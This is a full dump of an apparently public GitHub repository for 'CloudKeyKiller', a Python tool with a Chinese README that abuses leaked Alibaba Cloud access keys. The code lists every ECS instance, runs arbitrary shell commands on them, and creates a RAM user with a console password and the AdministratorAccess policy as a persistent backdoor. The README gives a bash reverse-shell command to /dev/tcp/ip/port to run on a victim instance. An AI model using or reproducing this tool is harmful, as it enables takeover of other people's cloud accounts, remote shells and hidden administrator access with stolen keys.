├── .idea ├── .gitignore ├── CloudKeyKiller.iml ├── inspectionProfiles │ ├── Project_Default.xml │ └── profiles_settings.xml ├── misc.xml ├── modules.xml └── vcs.xml ├── README.md ├── config ├── BannerInfo.py ├── __init__.py ├── __pycache__ │ ├── BannerInfo.cpython-39.pyc │ ├── __init__.cpython-39.pyc │ └── conf.cpython-39.pyc └── conf.py ├── main.py └── method ├── __init__.py ├── __pycache__ └── __init__.cpython-39.pyc └── aliyun ├── __init__.py ├── __pycache__ ├── __init__.cpython-39.pyc ├── ecs.cpython-39.pyc └── ram.cpython-39.pyc ├── ecs.py └── ram.py /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | -------------------------------------------------------------------------------- /.idea/CloudKeyKiller.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 12 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CloudKeyKiller 2 | 3 | # 前言 4 | 5 | 先说一下这个工具解决了什么,经常能遇到很多AK泄露,在前端JS中,APP中,小程序源码中碰到,有时候单独拿到AK去尝试权限是比较麻烦的,我也想是否有必要写一款这种工具,答案是:可以的 6 | 7 | 不过写的中间其实不难发现,这就是一个体力活,如果可以,其实完全可以把API都调一遍,是吧,就知道这个AK的权限有多大了 8 | 9 | 不过我还是想,能否通过API来判断该AK的权限有多少,通过这些有的权限进行利用 10 | 11 | 再一个难点其实就是环境差别太大了,首先不知道拿到AK的时候我们是黑盒的情况下,不知道权限有多大,再一个就是,这种类型的工具,它的兼容性和适配性必须要好,因为不同的KEY会有不同的结果,所以我希望使用这款工具中遇到的问题,尽管提issue,因为这能帮助这款工具更快的迭代和发现问题 12 | 13 | 况且这工具开发时间很短,除了熟悉API的时间,写代码的时间可能也就1个小时,甚至更少,况且这种工具属于重复造轮子,调API就可以了 14 | 15 | ## 初始配置 16 | 17 | 将自己的对应云厂商AK写入/config/conf.py中即可 18 | 19 | ![image-20220414185136736](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220414185136736.png) 20 | 21 | ## ECS 22 | 23 | ### 获取所有ECS 24 | 25 | ```bash 26 | python3 -aliyun ecs getecs 27 | ``` 28 | 29 | ![image-20220414185023728](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220414185023728.png) 30 | 31 | ### 在指定ECS中执行命令 32 | 33 | ```bash 34 | python3 main.py -aliyun ecs exec instanceid command RegionId 35 | ``` 36 | 37 | - instanceid 38 | 39 | - ECS中的InstanceID 40 | 41 | - command 42 | 43 | - 你要执行的命令 44 | 45 | ```bash 46 | bash -c 'exec bash -i &>/dev/tcp/ip/port <&1' 47 | ``` 48 | 49 | - RegionID 50 | 51 | - 地区ID 52 | 53 | ```bash 54 | python3 main.py -aliyun ecs exec i-2556rj "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'" cn-beijing 55 | ``` 56 | 57 | ![image-20220414190034115](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220414190034115.png) 58 | 59 | ## RAM 60 | 61 | 为什么要创建RAM?为什么常见RAM之后,就可以通过账号登录到阿里云控制台 62 | 63 | ### 创建RAM用户 64 | 65 | ```bash 66 | python3 main.py -aliyun ram createram 账号 密码 67 | ``` 68 | 69 | ![image-20220414215019769](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220414215019769.png) 70 | 71 | # 推荐一个云安全wiki 72 | 73 | - https://github.com/teamssix/twiki -------------------------------------------------------------------------------- /config/BannerInfo.py: -------------------------------------------------------------------------------- 1 | """ 2 | Banner Info From http://patorjk.com/software/taag/#p=display&f=TRaC%20Mini&t=UzJu 3 | """ 4 | 5 | import random 6 | 7 | Banner_1 = ''' 8 | ,---._ 9 | .-- -.' \ 10 | ,--, | | : 11 | ,'_ /| ,----, : ; | ,--, 12 | .--. | | : .' .`| : | ,'_ /| 13 | ,'_ /| : . | .' .' .' | : : .--. | | : 14 | | ' | | . . ,---, ' ./ : ,'_ /| : . | 15 | | | ' | | | ; | .' / | ; || ' | | . . 16 | : | | : ' ; `---' / ;--, ___ l | | ' | | | 17 | | ; ' | | ' / / / .`|/ /\ J :: | : ; ; | 18 | : | : ; ; | ./__; .'/ ../ `..- ,' : `--' \ 19 | ' : `--' \; | .' \ \ ; : , .-./ 20 | : , .-./`---' \ \ ,' `--`----' 21 | `--`----' "---....--' 22 | 23 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 24 | ''' 25 | Banner_2 = ''' 26 | 27 | /$$ /$$ /$$$$$ 28 | | $$ | $$ |__ $$ 29 | | $$ | $$ /$$$$$$$$ | $$ /$$ /$$ 30 | | $$ | $$|____ /$$/ | $$| $$ | $$ 31 | | $$ | $$ /$$$$/ /$$ | $$| $$ | $$ 32 | | $$ | $$ /$$__/ | $$ | $$| $$ | $$ 33 | | $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/ 34 | \______/ |________/ \______/ \______/ 35 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 36 | ''' 37 | Banner_3 = ''' 38 | 39 | .----------------. .----------------. .----------------. .----------------. 40 | | .--------------. || .--------------. || .--------------. || .--------------. | 41 | | | _____ _____ | || | ________ | || | _____ | || | _____ _____ | | 42 | | ||_ _||_ _|| || | | __ _| | || | |_ _| | || ||_ _||_ _|| | 43 | | | | | | | | || | |_/ / / | || | | | | || | | | | | | | 44 | | | | ' ' | | || | .'.' _ | || | _ | | | || | | ' ' | | | 45 | | | \ `--' / | || | _/ /__/ | | || | | |_' | | || | \ `--' / | | 46 | | | `.__.' | || | |________| | || | `.___.' | || | `.__.' | | 47 | | | | || | | || | | || | | | 48 | | '--------------' || '--------------' || '--------------' || '--------------' | 49 | '----------------' '----------------' '----------------' '----------------' 50 | 51 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 52 | ''' 53 | 54 | Banner_4 = ''' 55 | .------..------..------..------. 56 | |U.--. ||Z.--. ||J.--. ||U.--. | 57 | | (\/) || :(): || :(): || (\/) | 58 | | :\/: || ()() || ()() || :\/: | 59 | | '--'U|| '--'Z|| '--'J|| '--'U| 60 | `------'`------'`------'`------' 61 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 62 | ''' 63 | 64 | Banner_5 = ''' 65 | 66 | ___ ___ ___ 67 | /\ \ /\__\ ___ /\ \ 68 | \:\ \ /::| | /\__\ \:\ \ 69 | \:\ \ /:/:| | /:/__/ \:\ \ 70 | ___ \:\ \ /:/|:| |__ /::\ \ ___ \:\ \ 71 | /\ \ \:\__\ /:/ |:| /\__\ \/\:\ \ /\ \ \:\__| 72 | \:\ \ /:/ / \/__|:|/:/ / ~~\:\ \ \:\ \ /:/ / 73 | \:\ /:/ / |:/:/ / \:\__\ \:\ /:/ / 74 | \:\/:/ / |::/ / /:/ / \:\/:/ / 75 | \::/ / |:/ / /:/ / \::/ / 76 | \/__/ |/__/ \/__/ \/__/ 77 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 78 | ''' 79 | Banner_6 = """ 80 | 81 | d b sSSSSSs d d b 82 | S S s S S S 83 | S S s S S S 84 | S S s S S S 85 | S S s d P S S 86 | S S s S S S S 87 | "sss" sSSSSSs "sss" "sss" 88 | 89 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 90 | """ 91 | 92 | Banner_7 = ''' 93 | _ _ _ 94 | | | | | ___ _ | | _ _ 95 | | |_| | |_ / | || | | +| | 96 | \___/ _/__| _\__/ \_,_| 97 | _|"""""|_|"""""|_|"""""|_|"""""| 98 | "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 99 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 100 | ''' 101 | Banner_8 = ''' 102 | 103 | ██╗ ██╗███████╗ ██╗██╗ ██╗ 104 | ██║ ██║╚══███╔╝ ██║██║ ██║ 105 | ██║ ██║ ███╔╝ ██║██║ ██║ 106 | ██║ ██║ ███╔╝ ██ ██║██║ ██║ 107 | ╚██████╔╝███████╗╚█████╔╝╚██████╔╝ 108 | ╚═════╝ ╚══════╝ ╚════╝ ╚═════╝ 109 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 110 | 111 | ''' 112 | 113 | Banner_9 = ''' 114 | 115 | █ ██ ▒███████▒ ▄▄▄██▀▀▀█ ██ 116 | ██ ▓██▒▒ ▒ ▒ ▄▀░ ▒██ ██ ▓██▒ 117 | ▓██ ▒██░░ ▒ ▄▀▒░ ░██ ▓██ ▒██░ 118 | ▓▓█ ░██░ ▄▀▒ ░▓██▄██▓ ▓▓█ ░██░ 119 | ▒▒█████▓ ▒███████▒ ▓███▒ ▒▒█████▓ 120 | ░▒▓▒ ▒ ▒ ░▒▒ ▓░▒░▒ ▒▓▒▒░ ░▒▓▒ ▒ ▒ 121 | ░░▒░ ░ ░ ░░▒ ▒ ░ ▒ ▒ ░▒░ ░░▒░ ░ ░ 122 | ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ 123 | ░ ░ ░ ░ ░ ░ 124 | ░ 125 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 126 | ''' 127 | 128 | Banner_10 = ''' 129 | 130 | ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ 131 | ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌ 132 | ▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌ ▀▀▀▀▀█░█▀▀▀ ▐░▌ ▐░▌ 133 | ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ 134 | ▐░▌ ▐░▌ ▄▄▄▄▄▄▄▄▄█░▌ ▐░▌ ▐░▌ ▐░▌ 135 | ▐░▌ ▐░▌▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▌ 136 | ▐░▌ ▐░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ 137 | ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ 138 | ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄█░▌ ▐░█▄▄▄▄▄▄▄█░▌ 139 | ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░▌ ▐░░░░░░░░░░░▌ 140 | ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ 141 | 142 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 143 | 144 | ''' 145 | 146 | Banner_11 = ''' 147 | 148 | _ _ _ _ _ _ _ _ 149 | (c).-.(c) (c).-.(c) (c).-.(c) (c).-.(c) 150 | / ._. \ / ._. \ / ._. \ / ._. \ 151 | __\( Y )/__ __\( Y )/__ __\( Y )/__ __\( Y )/__ 152 | (_.-/'-'\-._)(_.-/'-'\-._)(_.-/'-'\-._)(_.-/'-'\-._) 153 | || U || || Z || || J || || U || 154 | _.' `-' '._ _.' `-' '._ _.' `-' '._ _.' `-' '._ 155 | (.-./`-'\.-.)(.-./`-'\.-.)(.-./`-'\.-.)(.-./`-'\.-.) 156 | `-' `-' `-' `-' `-' `-' `-' `-' 157 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 158 | ''' 159 | Banner_12 = ''' 160 | 161 | =================================== 162 | = ==== ============== ======== 163 | = ==== =============== ========= 164 | = ==== =============== ========= 165 | = ==== == ======= === = = 166 | = ==== ====== ======= === = = 167 | = ==== ===== ======== === = = 168 | = ==== ==== ==== === === = = 169 | = == === ===== === === = = 170 | == === === ===== = 171 | =================================== 172 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 173 | ''' 174 | Banner_13 = ''' 175 | 176 | >=> >=> >=> 177 | >=> >=> >=> 178 | >=> >=> >====>>=> >=> >=> >=> 179 | >=> >=> >=> >=> >=> >=> 180 | >=> >=> >=> >=> >=> >=> 181 | >=> >=> >=> >> >=> >=> >=> 182 | >====> >=======> >===> >==>=> 183 | Autor: UzJu Email: UzJuer@163.com GitHub: github.com/uzju 184 | 185 | ''' 186 | 187 | 188 | def echoRandomBannerInfo(): 189 | eval(f"print(Banner_{random.randint(1, 13)})") 190 | -------------------------------------------------------------------------------- /config/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8.4 (python版本) 2 | # -*- coding: utf-8 -*- 3 | # @Author : UzJu@菜菜狗 4 | # @Email : UzJuer@163.com 5 | # @Software: PyCharm 6 | # @Time : 2022/4/14 15:51 7 | # @File : __init__.py 8 | -------------------------------------------------------------------------------- /config/__pycache__/BannerInfo.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UzJu/CloudKeyKiller/5d7bbafd0402999106d913e0d3c749826c8f3fb8/config/__pycache__/BannerInfo.cpython-39.pyc -------------------------------------------------------------------------------- /config/__pycache__/__init__.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UzJu/CloudKeyKiller/5d7bbafd0402999106d913e0d3c749826c8f3fb8/config/__pycache__/__init__.cpython-39.pyc -------------------------------------------------------------------------------- /config/__pycache__/conf.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UzJu/CloudKeyKiller/5d7bbafd0402999106d913e0d3c749826c8f3fb8/config/__pycache__/conf.cpython-39.pyc -------------------------------------------------------------------------------- /config/conf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8.4 (python版本) 2 | # -*- coding: utf-8 -*- 3 | # @Author : UzJu@菜菜狗 4 | # @Email : UzJuer@163.com 5 | # @Software: PyCharm 6 | # @Time : 2022/4/14 15:51 7 | # @File : conf.py 8 | 9 | # Aliyun 10 | Aliyun_AK = "" 11 | Aliyun_SecretKey = "" 12 | 13 | Aliyun_region_id_List = [ 14 | 'cn-qingdao', 15 | 'cn-beijing', 16 | 'cn-zhangjiakou', 17 | 'cn-huhehaote', 18 | 'cn-wulanchabu', 19 | 'cn-hangzhou', 20 | 'cn-shanghai', 21 | 'cn-shenzhen', 22 | 'cn-heyuan', 23 | 'cn-guangzhou', 24 | 'cn-chengdu', 25 | 'cn-nanjing', 26 | 'cn-hongkong', 27 | 'ap-southeast-1', 28 | 'ap-southeast-2', 29 | 'ap-southeast-3', 30 | 'ap-southeast-5', 31 | 'ap-southeast-6', 32 | 'ap-south-1', 33 | 'ap-northeast-1', 34 | 'ap-northeast-2', 35 | 'us-west-1', 36 | 'us-east-1', 37 | 'eu-central-1', 38 | 'eu-west-1', 39 | 'me-east-1' 40 | ] 41 | 42 | Aliyun_RegionIdes = { 43 | 'cn-hangzhou', 44 | 'cn-shanghai', 45 | 'cn-shanghai-finance-1', 46 | 'cn-qingdao', 47 | 'cn-beijing', 48 | 'cn-zhangjiakou', 49 | 'cn-huhehaote', 50 | 'cn-wulanchabu', 51 | 'cn-shenzhen', 52 | 'cn-shenzhen-finance-1', 53 | 'cn-heyuan', 54 | 'cn-chengdu', 55 | 'cn-hongkong', 56 | 'ap-southeast-1', 57 | 'ap-southeast-2', 58 | 'ap-southeast-3', 59 | 'ap-southeast-5', 60 | 'ap-northeast-1', 61 | 'ap-south-1', 62 | 'eu-central-1', 63 | 'eu-west-1', 64 | 'us-west-1', 65 | 'us-east-1', 66 | 'me-east-1' 67 | } 68 | # Aliyun_RegionIdes = { 69 | # '华东1(杭州)': 'cn-hangzhou', 70 | # '华东2(上海)': 'cn-shanghai', 71 | # '华东 2 金融云': 'cn-shanghai-finance-1', 72 | # '华北1(青岛)': 'cn-qingdao', 73 | # '华北2(北京)': 'cn-beijing', 74 | # '华北3(张家口)': 'cn-zhangjiakou', 75 | # '华北5(呼和浩特)': 'cn-huhehaote', 76 | # '华北6(乌兰察布 )': 'cn-wulanchabu', 77 | # '华南1(深圳)': 'cn-shenzhen', 78 | # '华南 1 金融云': 'cn-shenzhen-finance-1', 79 | # '华南2(河源)': 'cn-heyuan', 80 | # '西南1(成都)': 'cn-chengdu', 81 | # '中国(香港)': 'cn-hongkong', 82 | # '新加坡': 'ap-southeast-1', 83 | # '澳大利亚(悉尼)': 'ap-southeast-2', 84 | # '马来西亚(吉隆坡)': 'ap-southeast-3', 85 | # '印度尼西亚(雅加达)': 'ap-southeast-5', 86 | # '日本(东京)': 'ap-northeast-1', 87 | # '印度(孟买)': 'ap-south-1', 88 | # '德国(法兰克福)': 'eu-central-1', 89 | # '英国(伦敦)': 'eu-west-1', 90 | # '美国(硅谷)': 'us-west-1', 91 | # '美国(弗吉尼亚)': 'us-east-1', 92 | # '阿联酋(迪拜)': 'me-east-1' 93 | # } 94 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8.4 (python版本) 2 | # -*- coding: utf-8 -*- 3 | # @Author : UzJu@菜菜狗 4 | # @Email : UzJuer@163.com 5 | # @Software: PyCharm 6 | # @Time : 2022/4/2 12:07 7 | # @File : main.py 8 | import argparse 9 | 10 | from method.aliyun import ecs 11 | from method.aliyun import ram 12 | from config import BannerInfo 13 | 14 | 15 | if __name__ == '__main__': 16 | BannerInfo.echoRandomBannerInfo() 17 | try: 18 | parser = argparse.ArgumentParser(description='') 19 | 20 | parser.add_argument('-aliyun', dest='aliyun', nargs="+", 21 | help='python3 -aliyun ecs getecs') 22 | args = parser.parse_args() 23 | if args.aliyun: 24 | try: 25 | if args.aliyun[0] == 'ecs': 26 | if args.aliyun[1] == 'getecs': 27 | ecs.GetIntancesTables() 28 | if args.aliyun[1] == 'exec': 29 | ecs.RunCommandInInstances(args.aliyun[2], args.aliyun[3], args.aliyun[4]) 30 | elif args.aliyun[0] == 'ram': 31 | if args.aliyun[1] == 'createram': 32 | ram.CreateRamUser(args.aliyun[2], args.aliyun[3]) 33 | 34 | except Exception as e: 35 | print("python3 main.py -aliyun ecs getecs\n" 36 | "python3 main.py -aliyun ecs exec instanceid command RegionId") 37 | print(e) 38 | except KeyboardInterrupt: 39 | print("KeyError Out") -------------------------------------------------------------------------------- /method/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8.4 (python版本) 2 | # -*- coding: utf-8 -*- 3 | # @Author : UzJu@菜菜狗 4 | # @Email : UzJuer@163.com 5 | # @Software: PyCharm 6 | # @Time : 2022/4/2 12:00 7 | # @File : __init__.py.py 8 | -------------------------------------------------------------------------------- /method/__pycache__/__init__.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UzJu/CloudKeyKiller/5d7bbafd0402999106d913e0d3c749826c8f3fb8/method/__pycache__/__init__.cpython-39.pyc -------------------------------------------------------------------------------- /method/aliyun/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8.4 (python版本) 2 | # -*- coding: utf-8 -*- 3 | # @Author : UzJu@菜菜狗 4 | # @Email : UzJuer@163.com 5 | # @Software: PyCharm 6 | # @Time : 2022/4/14 15:40 7 | # @File : __init__.py.py 8 | -------------------------------------------------------------------------------- /method/aliyun/__pycache__/__init__.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UzJu/CloudKeyKiller/5d7bbafd0402999106d913e0d3c749826c8f3fb8/method/aliyun/__pycache__/__init__.cpython-39.pyc -------------------------------------------------------------------------------- /method/aliyun/__pycache__/ecs.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UzJu/CloudKeyKiller/5d7bbafd0402999106d913e0d3c749826c8f3fb8/method/aliyun/__pycache__/ecs.cpython-39.pyc -------------------------------------------------------------------------------- /method/aliyun/__pycache__/ram.cpython-39.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UzJu/CloudKeyKiller/5d7bbafd0402999106d913e0d3c749826c8f3fb8/method/aliyun/__pycache__/ram.cpython-39.pyc -------------------------------------------------------------------------------- /method/aliyun/ecs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8.4 (python版本) 2 | # -*- coding: utf-8 -*- 3 | # @Author : UzJu@菜菜狗 4 | # @Email : UzJuer@163.com 5 | # @Software: PyCharm 6 | # @Time : 2022/4/14 15:40 7 | # @File : ecs.py 8 | 9 | 10 | from config import conf 11 | import json 12 | import prettytable as pt 13 | from colorama import Fore, Back, Style 14 | from aliyunsdkcore.client import AcsClient 15 | from aliyunsdkcore.acs_exception.exceptions import ClientException 16 | from aliyunsdkcore.acs_exception.exceptions import ServerException 17 | from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest 18 | from aliyunsdkecs.request.v20140526.RunCommandRequest import RunCommandRequest 19 | 20 | 21 | class AliyunEcs: 22 | # 列出所有地区的ECS 23 | def AliyunDescribeInstancesRequest(self, GetRegionId): 24 | try: 25 | client = AcsClient(conf.Aliyun_AK, conf.Aliyun_SecretKey, GetRegionId) 26 | tb = pt.PrettyTable() 27 | tb.field_names = ["RegionId", "OSName", "HostName", "InstanceId", "InstanceName", "PublicIpAddress"] 28 | request = DescribeInstancesRequest() 29 | request.set_accept_format('json') 30 | response = client.do_action_with_exception(request) 31 | result = str(response, encoding="utf-8") 32 | if not json.loads(result)['Instances']['Instance']: 33 | pass 34 | else: 35 | for i in json.loads(result)['Instances']['Instance']: 36 | tb.add_row([GetRegionId, 37 | i['OSName'], 38 | i['HostName'], 39 | i['InstanceId'], 40 | i['InstanceName'], 41 | i['PublicIpAddress']['IpAddress'] 42 | ]) 43 | print(Fore.GREEN, tb) 44 | except Exception as e: 45 | print("[-]GetEcsList Faild: ", e) 46 | 47 | # 执行命令 48 | def AliyunRunCommand(self, InstanceId, CommandContent, GetRegionId): 49 | try: 50 | client = AcsClient(conf.Aliyun_AK, conf.Aliyun_SecretKey, GetRegionId) 51 | request = RunCommandRequest() 52 | request.set_accept_format('json') 53 | request.set_Type("RunShellScript") 54 | request.set_CommandContent(CommandContent) 55 | request.set_InstanceIds([InstanceId]) 56 | 57 | response = client.do_action_with_exception(request) 58 | print(Fore.GREEN, "[+]ExecCommand Success!", str(response, encoding="utf-8")) 59 | except Exception as e: 60 | print(Fore.RED, "[-]ExecCommand Faild: ", e) 61 | 62 | 63 | def GetIntancesTables(): 64 | for i in conf.Aliyun_RegionIdes: 65 | ECS = AliyunEcs() 66 | ECS.AliyunDescribeInstancesRequest(i) 67 | 68 | 69 | def RunCommandInInstances(InstanceId, Command, GetRegionId): 70 | ECS = AliyunEcs() 71 | ECS.AliyunRunCommand(InstanceId, Command, GetRegionId) 72 | 73 | -------------------------------------------------------------------------------- /method/aliyun/ram.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8.4 (python版本) 2 | # -*- coding: utf-8 -*- 3 | # @Author : UzJu@菜菜狗 4 | # @Email : UzJuer@163.com 5 | # @Software: PyCharm 6 | # @Time : 2022/4/14 20:28 7 | # @File : ram.py 8 | 9 | from config import conf 10 | from colorama import Fore, Back, Style 11 | import prettytable as pt 12 | from aliyunsdkcore.client import AcsClient 13 | from aliyunsdkcore.acs_exception.exceptions import ClientException 14 | from aliyunsdkcore.acs_exception.exceptions import ServerException 15 | from aliyunsdkram.request.v20150501.AttachPolicyToUserRequest import AttachPolicyToUserRequest 16 | from aliyunsdkram.request.v20150501.CreateUserRequest import CreateUserRequest 17 | from aliyunsdkram.request.v20150501.CreateLoginProfileRequest import CreateLoginProfileRequest 18 | import json 19 | 20 | 21 | class AliyunRam: 22 | def __init__(self, UserName, PassWord): 23 | self.UserName = UserName 24 | self.PassWord = PassWord 25 | self.tb = pt.PrettyTable() 26 | self.tb.field_names = ["UserName", "PassWord", "LoginUrl"] 27 | 28 | def CreateUser(self): 29 | try: 30 | client = AcsClient(conf.Aliyun_AK, conf.Aliyun_SecretKey, 'cn-hangzhou') 31 | 32 | request = CreateUserRequest() 33 | request.set_accept_format('json') 34 | 35 | request.set_UserName(self.UserName) 36 | 37 | response = client.do_action_with_exception(request) 38 | print(Fore.GREEN, f"[+]Create {self.UserName} Success {str(response, encoding='utf-8')}") 39 | except Exception as e: 40 | print(Fore.RED, f"[-]Create {self.UserName} Faild: ", e) 41 | 42 | def CreateLoginProfile(self): 43 | try: 44 | client = AcsClient(conf.Aliyun_AK, conf.Aliyun_SecretKey, 'cn-hangzhou') 45 | 46 | request = CreateLoginProfileRequest() 47 | request.set_accept_format('json') 48 | 49 | request.set_UserName(self.UserName) 50 | request.set_Password(self.PassWord) 51 | 52 | response = client.do_action_with_exception(request) 53 | print(Fore.GREEN, f"[+]Create {self.UserName} PassWord {self.PassWord} Success: {str(response, encoding='utf-8')}") 54 | except Exception as e: 55 | print(Fore.RED, f"[-]Create {self.UserName} Password {self.PassWord} Faild: ", e) 56 | 57 | def AttachPolicyToUser(self): 58 | try: 59 | client = AcsClient(conf.Aliyun_AK, conf.Aliyun_SecretKey, 'cn-hangzhou') 60 | 61 | request = AttachPolicyToUserRequest() 62 | request.set_accept_format('json') 63 | 64 | request.set_PolicyType("System") 65 | request.set_PolicyName("AdministratorAccess") 66 | request.set_UserName(self.UserName) 67 | 68 | response = client.do_action_with_exception(request) 69 | self.tb.add_row([self.UserName, self.PassWord, "https://signin.aliyun.com/"]) 70 | print(Fore.GREEN, f"[+]Create UserPolicy Success {str(response, encoding='utf-8')}\n" 71 | f"[+]UserName: {self.UserName}, PassWord: {self.PassWord}\n" 72 | f"[+]Login: https://signin.aliyun.com/") 73 | print(Fore.GREEN, self.tb) 74 | except Exception as e: 75 | print(Fore.RED, f"[-]Create UserPolicy Faild: ", e) 76 | 77 | 78 | def CreateRamUser(UserName, PassWord): 79 | Ram = AliyunRam(UserName, PassWord) 80 | Ram.CreateUser() 81 | Ram.CreateLoginProfile() 82 | Ram.AttachPolicyToUser() 83 | --------------------------------------------------------------------------------